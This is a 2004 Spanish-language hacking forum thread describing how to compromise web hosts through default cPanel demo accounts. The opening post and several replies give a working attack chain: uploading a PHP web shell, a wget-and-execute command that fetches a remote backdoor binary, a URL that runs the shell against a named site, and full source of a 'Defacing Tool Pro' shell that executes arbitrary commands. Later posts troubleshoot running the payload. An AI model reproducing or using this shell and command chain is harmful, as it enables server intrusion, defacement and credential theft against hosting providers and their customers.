elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Ingresar Registrarse
05 Septiembre 2008, 09:59  



+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking Avanzado (Moderadores: ANELKAOS, zhyzura)
| | |-+  Hackeos rapidos a hosting
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Imprimir
Autor Tema: Hackeos rapidos a hosting  (Leído 3412 veces)
codebreak

Desconectado Desconectado

Mensajes: 56



Ver Perfil
Hackeos rapidos a hosting
« en: 03 Octubre 2004, 17:07 »

Me base en un foro que encontre... es una buena idea...

Buscas en google algun servicio de hosting que ofresca un demo de c-panel.
http://www.google.cl/search?hl=es&ie=UTF-8&q=Cpanel+demo&btnG=B%C3%BAsqueda&meta=lr%3Dlang_es

Por lo general estas cuentas demos viene con su espacio web y su ftp. EJEMPLO:
El demo del cpanel de http://www.XXXXXX.org es
User: demo
Pass: demo

Como veran si entro al ftp, sería
ftp://demo:demo@www.XXXXXXXX.org

Subo una shell en php y luego la ejecuto en:
http://www.XXXXX.org/~demo/shell.php

Ahora hacemos lo que queramos, para este caso:
cd /tmp/;wget http://massxpl.gratishost.com/r0nin;chmod 777 r0nin;./r0nin

Y me devuelve un mensaje de que fue ejecutado, de modo que ahora podemos entrar por el puerto 1666 (ya se sabe eso) ---> Abrir algun cliente, como el putty, seleccionar telnet y puerto 1666 y colocar de host mexcomp.com

Y que mas, ver si podemos ejecutar un exploit local y revisar los sitios alojados de modo con el comando "head -1000 /etc/userdomains". Ahi vemos si podemos desfacearlos o revisar el codigo de los sitios para encontrar configuraciones y contraseñas, o que se yo..

Salu2,

Gracias a bad-x-sql-root
« Última modificación: 07 Octubre 2004, 09:33 por el-brujo » En línea



W4ck1ng Team Member
shy

Desconectado Desconectado

Mensajes: 143


¡Amo YaBB SE!


Ver Perfil
Re: Hackeos rapidos a hosting
« Respuesta #1 en: 04 Octubre 2004, 01:43 »

Me pasaron esto ...

Código:
<!--
Defacing Tool Pro v1.6 by r3v3ng4ns
Autor: r3v3ng4ns - revengans@hotmail.com
Modifique, copie e distribua mas, por favor, mantenha o nome dos autores originais
-->
<?php
@closelog();
@error_reporting(0);
$vers="1.6beta";
$remote_addr="http://127.0.0.1/~snagnever/defacement/paginanova/";//url
$format_addr=".txt";//formato
$string_addr=$remote_addr."pro16".$format_addr;//cmd
$safe_addr=$remote_addr."safe16".$format_addr;//safemode
$writer_addr=$remote_addr."writer16".$format_addr;//writer
$phpget_addr=$remote_addr."get16".$format_addr;//phpget
$feditor_addr=$remote_addr."feditor".$format_addr;//main feditor
$put_addr=$remote_addr."feditor_put".$format_addr;//file writer
$total_addr="http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];
$chdir=$_GET['chdir'];
if($chdir=="")$chdir=getcwd();

$cmd=$_GET['cmd'];
$cmd=stripslashes($cmd);
$ch_msg="";
$login=@posix_getuid();
$euid=@posix_geteuid();
$gid=@posix_getgid();

if (strpos($cmd, 'chdir')!==false and strpos($cmd, 'chdir')=='0'){
   $boom = explode(" ",$cmd,2);
   $boom2 = explode(";",$boom['1'], 2);
   $diretorio = $boom2['0'];

   if($boom['1']=="/")$chdir="";
   else if(strpos($cmd, 'chdir ..')!==false){
     $cadaDir = array_reverse(explode("/",$chdir));
     if($cadaDir['0']=="" or $cadaDir['0'] ==" ") $lastDir = $cadaDir['1']."/";
     else{ $lastDir = $cadaDir['0']."/"; $chdir = $chdir."/";}
     $diretorio = str_replace($lastDir,"",$chdir);
     if($diretorio=="/")$chdir="";
   }
   if(strrpos($diretorio,"/")==(strlen($diretorio)-1)) $diretorio=substr($diretorio,0,strrpos($diretorio,"/"));
   if(@opendir($diretorio)!==false) $chdir=$diretorio;
   else if(@opendir($chdir."/".$diretorio)!==false) $chdir=$chdir."/".$diretorio;
   else $ch_msg="dtool: line 1: chdir: $diretorio: No such directory or permission denied.\n";
   if($boom2['1']==null) $cmd = $boom['2']; else $cmd = $boom2['1'].$boom2['2'];
}
$cmdshow=$cmd;
if($chdir==getcwd() or empty($chdir) or $chdir=="")$showdir="";else $showdir="+'chdir=$chdir&'";

if (@is_dir("/usr/X11R6/")) $pro0="<i>X11</i> em /usr/X11R6/, ";
if (@file_exists("/usr/X11R6/bin/xterm")) $pro1="<i>xterm</i> em /usr/X11R6/bin/xterm, ";
if (@file_exists("/usr/bin/nc")) $pro2="<i>nc</i> em /usr/bin/nc, ";
if (@file_exists("/usr/bin/wget")) $pro3="<i>wget</i> em /usr/bin/wget, ";
if (@file_exists("/usr/bin/lynx")) $pro4="<i>lynx</i> em /usr/bin/lynx, ";
$ip=@gethostbyname($_SERVER['HTTP_HOST']);
$pro=$pro0.$pro1.$pro2.$pro3.$pro4;

if(strpos($cmd, 'ls --') !==false){ $cmd = str_replace('ls --', 'ls -F --', $cmd);}
else if(strpos($cmd, 'ls -') !==false){ $cmd = str_replace('ls -', 'ls -F', $cmd);}
else if(strpos($cmd, ';ls') !==false){ $cmd = str_replace(';ls', ';ls -F', $cmd);}
else if(strpos($cmd, '; ls') !==false){ $cmd = str_replace('; ls', ';ls -F', $cmd);}
else if($cmd=='ls'){$cmd = "ls -F";}
if(strpos($chdir, '//') !==false) $chdir = str_replace('//', '/', $chdir);
?>
<body onload="window.document.c.comando.focus();window.document.c.comando.select();">
<style>.campo{font-family: Verdana; color:white;font-size:11px;background-color:#414978;}
.infop{font-family: verdana; font-size: 10px; color:#000000;}
.infod{font-family: verdana; font-size: 10px; color:#414978;}
.algod{font-family: verdana; font-size: 12px; font-weight: bold; color: #414978;}
.titulod{font:Verdana; color:#414978; font-size:20px;}</style>
<script>
function inclVar(){var addr = location.href.substring(0,location.href.indexOf('?')+1);var stri = location.href.substring(addr.length,location.href.length+1);inclvar = stri.substring(0,stri.indexOf('='));}
function enviaCMD(){inclVar();window.document.location.href='<?=$total_addr;?>'+'?'+inclvar+'='+'<?=$string_addr;?>'+'?&'<?=$showdir;?>+'cmd='+window.document.c.comando.value;return false;}
function PHPget(){inclVar();var c=prompt("[ PHPget ] by r3v3ng4ns\nDigite a ORIGEM do arquivo (url) com ate 7Mb\n-Utilize caminho completo\n-Se for remoto, use http:// ou ftp://:","");var dir = c.substring(0,c.lastIndexOf('/')+1);var file = c.substring(dir.length,c.length+1);var p=prompt("[ PHPget ] by r3v3ng4ns\nDigite o DESTINO do arquivo\n-Utilize caminho completo\n-O diretorio de destino deve ser writable","<?=$chdir;?>/"+file);window.open('<?=$total_addr;?>'+'?'+inclvar+'='+'<?=$phpget_addr;?>'+'?&'+'inclvar='+inclvar+'&'<?=$showdir;?>+'c='+c+'&p='+p);}
function PHPwriter(){inclVar();var url=prompt("[ PHPwriter ] by r3v3ng4ns\nDigite a URL do frame","http://www.geocities.com/revensite/index.htm");var dir = url.substring(0,url.lastIndexOf('/')+1);var file = url.substring(dir.length,url.length+1);var f=prompt("[ PHPwriter ] by r3v3ng4ns\nDigite o Nome do arquivo a ser criado\n-Utilize caminho completo\n-O diretorio de destino deve ser writable","<?=$chdir;?>/"+file); t=prompt("[ PHPwriter ] by r3v3ng4ns\nDigite o Title da pagina","[ r00ted team ] owned you :P");window.open('<?=$total_addr;?>'+'?'+inclvar+'='+'<?=$writer_addr;?>'+'?&'+'inclvar='+inclvar+'&'<?=$showdir;?>+'url='+url+'&f='+f+'&t='+t);}
function resumir() {inclVar();
resumo='<DIV STYLE="font-family: verdana; font-size: 11px;"><b> <?=$total_addr;?>?'+inclvar+'=<?=$string_addr;?></b><br><?php
 $uname = posix_uname();
 while (list($info, $value) = each ($uname)) { ?><b><?= $info ?>:</b> <?= $value ?><br><?php } ?><b>default user:</b> uid(<?= $login ?>) euid(<?= $euid ?>) gid(<?= $gid ?>)<br><b>ip: </b> <?=$ip;?><br><b>server info: </b><?="$SERVER_SOFTWARE $SERVER_VERSION";?><br><b>pro info: </b><?=$pro;?><br><b>path da pagina: </b><?= getcwd() ?><br><b>path writable:</b><? if(@is_writable(getcwd())){ echo " <b>YES</b>"; }else{ echo " no"; } ?>'
jan=open("","jan","width=580,height=300,menubar=yes,scrollbars=yes,resizable=yes,");jan.document.write(resumo);jan.document.write("<p> <? echo str_repeat("==", 35)?></p>");jan.document.title="Resumo do servidor";jan.focus();}
function PHPf(){inclVar();var o=prompt("[ PHPfilEditor ] by r3v3ng4ns\nDigite o nome do arquivo que deseja abrir\n-Utilize caminho completo\n-Abrir arquivos remotos, use http:// ou ftp://","<?=$chdir;?>/index.php"); var dir = o.substring(0,o.lastIndexOf('/')+1);var file = o.substring(dir.length,o.length+1);window.open('<?=$total_addr;?>?'+inclvar+'=<?=$feditor_addr;?>?&inclvar='+inclvar+'&o='+o);}
function safeMode(){inclVar();if (confirm ('Deseja ativar o DTool com suporte a SafeMode?')){window.document.location.href='<?=$total_addr;?>'+'?'+inclvar+'='+'<?=$safe_addr;?>'+'&'<?=$showdir;?>;}else{ return false }}
</script>
<table width="690" border="0" align="center" cellpadding="2" cellspacing="0" bgcolor="#FFFFFF">
<tr><td><div align="center" class="titulod"><b>[ Defacing Tool Pro v<?=$vers;?> ] <a href="javascript:window.open('<?=$remote_addr;?>help.txt');">?</a><br>
<font size=2>by r3v3ng4ns - revengans@hotmail.com </font>
</b></div></td></tr>
<tr><td><TABLE width="370" BORDER="0" align="center" CELLPADDING="0" CELLSPACING="0">
<?php
 $uname = @posix_uname();
 while (list($info, $value) = each ($uname)) { ?>
<TR><TD><DIV class="infop"><b><?=$info ?>:</b> <?=$value;?></DIV></TD></TR><?php } ?>
<TR><TD><DIV class="infop"><b>user:</b> uid(<?=$login;?>) euid(<?=$euid;?>) gid(<?=$gid;?>)</DIV></TD></TR>
<TR><TD><DIV class="infod"><b>write permission:</b><? if(@is_writable($chdir)){ echo " <b>YES</b>"; }else{ echo " no"; } ?></DIV></TD></TR>
<TR><TD><DIV class="infop"><b>server info: </b><?="$SERVER_SOFTWARE $SERVER_VERSION";?></DIV></TD></TR>
<TR><TD><DIV class="infop"><b>pro info: ip </b><?="$ip, $pro";?></DIV></TD></TR>
<? if($chdir!=getcwd()){?>
<TR><TD><DIV class="infop"><b>original path: </b><?=getcwd() ?></DIV></TD></TR><? } ?>
<TR><TD><DIV class="infod"><b>current path: </b><?=$chdir ?>
</DIV></TD></TR></TABLE></td></tr>
<tr><td><form name="c" id="c" method="post" action="#" onSubmit="return enviaCMD()">
<table width="375" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="#414978"><tr><td><table width="370" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="white"><tr>
<td width="75"><DIV class="algod">command</DIV></td>
<td width="300"><input name="comando" type="text" id="comando" value='<?=$cmdshow;?>' style="width:295; font-size:12px" class="campo">
</td></tr></table><table><tr><td>
<?php
if(isset($chdir)) @chdir($chdir);
ob_start();
function safemode($what){echo "It seems that this server is using php in safemode. Try to use DTool in Safemode.";}
$funE="function_exists";
if($funE('passthru'))$fe="passthru";
elseif($funE('system'))$fe="system";
elseif($funE('shell_exec'))$fe="shell_exec";
else $fe="safemode";
$fe("$cmd  2>&1");
$output=ob_get_contents();ob_end_clean();
?>
<td><input type="button" name="snd" value="snd cmd" class="campo" onClick="enviaCMD()"><input type="button" name="getBtn" value="PHPget" class="campo" onClick="PHPget()"><input type="button" name="writerBtn" value="PHPwriter" class="campo" onClick="PHPwriter()"><input type="button" name="edBtn" value="Fileditor" class="campo" onClick="PHPf()"><input type="button" name="resBtn" value="resumir" class="campo" onClick="resumir()"><input type="button" name="smBtn" value="safemode" class="campo" onClick="safeMode()"><input type="button" name="gsBtn" value="open shell" class="campo" onClick="inclVar();window.open('<?=$total_addr;?>'+'?'+inclvar+'='+'<?=$remote_addr;?>pro16s.txt');"
</tr></table></td></tr></table></form></td></tr>
<tr><td align="center"><DIV class="algod"><br>stdOut from <?="\"<i>$cmdshow</i>\", using <i>$fe()</i>";?></i></DIV>
<TEXTAREA name="output_text" COLS="90" ROWS="10" STYLE="font-family:Courier; font-size: 12px; color:#FFFFFF; font-size:11 px; background-color:black;width:683;">
<?php
echo $ch_msg;
if (empty($cmd) and $ch_msg=="") echo ("Comandos Exclusivos do DTool Pro\n\nchdir <diretorio>; outros; cmds;\nMuda o diretorio para aquele especificado e permanece nele. Precisa ser o primeiro da linha. ex: chdir /diretorio/sub/;pwd;ls\n\nPHPget, PHPwriter, PHPfilEditor e Resumir\nconsulte http://www.geocities.com/revensite/help.txt");
if (!empty($output)) echo str_replace(">", ">", str_replace("<", "<", $output));
?></TEXTAREA><BR></td></tr></table>


espero loes ayude
« Última modificación: 04 Octubre 2004, 01:49 por shy » En línea
Ambolius

Desconectado Desconectado

Mensajes: 1.346


/España/Guadalajara


Ver Perfil
Re: Hackeos rapidos a hosting
« Respuesta #2 en: 04 Octubre 2004, 09:40 »

Funcionar, funciona... Muy bueno shy, estaba buscando algo por el estilo :p
En línea

Un informático a otro:
- ¿Cuantos eran los Dálmatas?
- 101.
- Por el culo te la hinco.
the_haunted

Desconectado Desconectado

Mensajes: 73


the world needs a hero !!


Ver Perfil WWW
Re: Hackeos rapidos a hosting
« Respuesta #3 en: 04 Octubre 2004, 10:06 »

super bueno ese material
En línea


MODERADOR GLOBAL:
PERROSHACKERS
CMH-IP FRIEDS:
CMH-IP.NET
codebreak

Desconectado Desconectado

Mensajes: 56



Ver Perfil
Re: Hackeos rapidos a hosting
« Respuesta #4 en: 04 Octubre 2004, 12:45 »

Esa misma shell utilize yo, mas especificamente para subir el r0nin fue:

Código:
http://www.mexcomp.com/~demo/shell.php?=http://127.0.0.1/~snagnever/defacement/paginanova/pro16.txt?&chdir=/tmp/&cmd=wget http://massxpl.gratishost.com/r0nin;chmod 777 r0nin;./r0nin
En línea



W4ck1ng Team Member
Yioka

Desconectado Desconectado

Mensajes: 8


Ver Perfil
Re: Hackeos rapidos a hosting
« Respuesta #5 en: 06 Octubre 2004, 10:03 »

Hello, and thx a lot :)

I have a question , i got this :


stdOut from "cd /tmp;./r0nin", using passthru()

Result :  sh: line 1: ./r0nin: Permission denied

Is it possible that its an antivirus ?
En línea
el-brujo
Adm
*****
Desconectado Desconectado

Mensajes: 13.961


La libertad no se suplica, se conquista


Ver Perfil WWW
Re: Hackeos rapidos a hosting
« Respuesta #6 en: 06 Octubre 2004, 10:05 »

i don't think so.

Remember to do a chmod.....
En línea

Give peace a chance
Yioka

Desconectado Desconectado

Mensajes: 8


Ver Perfil
Re: Hackeos rapidos a hosting
« Respuesta #7 en: 06 Octubre 2004, 10:32 »

yes i chmod 777 it :/
En línea
Ambolius

Desconectado Desconectado

Mensajes: 1.346


/España/Guadalajara


Ver Perfil
Re: Hackeos rapidos a hosting
« Respuesta #8 en: 06 Octubre 2004, 11:28 »

write:

Citar
ls -l

And u can see if u have permission.

Better that, don´t do it in /tmp. Go yo cd $HOME, and if you have a home directory you´ll have permission to execute the r0nin.

Mi ingles es de pena  :-\
En línea

Un informático a otro:
- ¿Cuantos eran los Dálmatas?
- 101.
- Por el culo te la hinco.
EL_ZoRRo

Desconectado Desconectado

Mensajes: 233



Ver Perfil
Re: Hackeos rapidos a hosting
« Respuesta #9 en: 07 Octubre 2004, 09:26 »

http://foro.elhacker.net/index.php/topic,37656.0.html#msg182294

Here there is but information of what can be happening to you
En línea
Ambolius

Desconectado Desconectado

Mensajes: 1.346


/España/Guadalajara


Ver Perfil
Re: Hackeos rapidos a hosting
« Respuesta #10 en: 07 Octubre 2004, 09:32 »

No se pueden publicar datos de terceros, y menos que comprometan su seguridad. Por eso te he modificado el mensaje.

Quien quiera peces, que se moje el culo.
En línea

Un informático a otro:
- ¿Cuantos eran los Dálmatas?
- 101.
- Por el culo te la hinco.
Man-In-the-Middle
www.tunchemart.com --OjO-- Solo Quejas!!
Colaborador

Desconectado Desconectado

Mensajes: 3.303



Ver Perfil WWW
Re: Hackeos rapidos a hosting
« Respuesta #11 en: 07 Octubre 2004, 09:38 »

Pssss, tranquilo!!!   Ambolius , no seas descortes y respeto guarda respeto o no?

En línea

codebreak

Desconectado Desconectado

Mensajes: 56



Ver Perfil
Re: Hackeos rapidos a hosting
« Respuesta #12 en: 07 Octubre 2004, 10:14 »

No se pueden publicar datos de terceros, y menos que comprometan su seguridad. Por eso te he modificado el mensaje.

Quien quiera peces, que se moje el culo.

Mmmmm.. lo de no publicar datos que afecten a terceros.. tan directamente como lo hice (supongo que se habla de mi msg, pues ahora esta modificado)... lo entiendo y pido perdon, la verdad fue muy explicito el post. Pero sabes que no fue la intención.

Respecto a lo de los peces.. esto no es pesca... es como un pescador con bomba nuclear púes mata a todos los peces con presionar un boton, mas sencillo donde.
Tb hay formas y formas de decirlo...  :-\

Salu2,
« Última modificación: 07 Octubre 2004, 10:17 por chico » En línea



W4ck1ng Team Member
Man-In-the-Middle
www.tunchemart.com --OjO-- Solo Quejas!!
Colaborador

Desconectado Desconectado

Mensajes: 3.303



Ver Perfil WWW
Re: Hackeos rapidos a hosting
« Respuesta #13 en: 07 Octubre 2004, 11:28 »


Tb hay formas y formas de decirlo...  :-\

Salu2,

Te apoyo chico, hay formas de decir las cosas

Man-In-the-Middle
En línea

Ambolius

Desconectado Desconectado

Mensajes: 1.346


/España/Guadalajara


Ver Perfil
Re: Hackeos rapidos a hosting
« Respuesta #14 en: 07 Octubre 2004, 11:29 »

No se si lo habeis entendido mal o que... Lo unico que quise decir con el mensaje anterior es que, si alguien quiere emplear este metodo que lo busque por sus propios medios. Que no le deis servers "vulnerables".

Lo de publicar datos de terceros lo digo porque es una regla del foro.

Y otra cosa, man in the middle, ni he sido descortes, ni te he faltado al respeto. Tu faltaste a una regla del foro y trate de corregirlo, nada mas.

Pd. Por cierto, porque lo borraste?
« Última modificación: 07 Octubre 2004, 11:30 por Ambolius » En línea

Un informático a otro:
- ¿Cuantos eran los Dálmatas?
- 101.
- Por el culo te la hinco.
Páginas: [1] 2 Ir Arriba Imprimir 
Ir a:  







Consolas     La Web de Goku     MilW0rm     MundoDivx

Hispabyte     Truzone     TodoReviews     ZonaPhotoshop

hard-h2o modding    Foros de ayuda    Yashira.org    Videojuegos    indetectables.net   

Noticias Informatica    Seguridad Informática    ADSL    Foros en español    eNYe Sec

Todas las webs afiliadas están libres de publicidad engañosa.

Powered by SMF 1.1.5 | SMF © 2006-2008, Simple Machines LLC